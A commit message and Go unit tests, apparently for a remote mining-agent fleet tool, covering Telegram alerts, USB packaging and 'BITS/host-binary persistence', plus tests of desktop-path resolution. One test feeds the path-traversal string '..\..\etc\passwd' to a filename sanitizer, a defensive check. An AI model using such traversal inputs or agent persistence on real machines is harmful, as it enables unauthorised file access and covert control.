feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/deploy/desktop_path_test.go

@@ -0,0 +1,45 @@
+package deploy
+
+import (
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+)
+
+func TestSanitizeDesktopFilename(t *testing.T) {
+	if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
+		// Join uses OS separator; at minimum no ..
+		if strings.Contains(got, "..") {
+			t.Fatalf("traversal leaked: %q", got)
+		}
+	}
+	if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveRemotePathDesktopPrefix(t *testing.T) {
+	p, err := ResolveRemotePath("@desktop/notes.txt")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.HasSuffix(p, "notes.txt") {
+		t.Fatalf("path %q should end with notes.txt", p)
+	}
+	if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
+		// Linux may use XDG path without "Desktop" in rare setups — allow if under home
+		home, _ := filepath.Abs(".")
+		_ = home
+	}
+}
+
+func TestUserDesktopDir(t *testing.T) {
+	dir, err := UserDesktopDir()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if dir == "" {
+		t.Fatal("empty desktop")
+	}
+}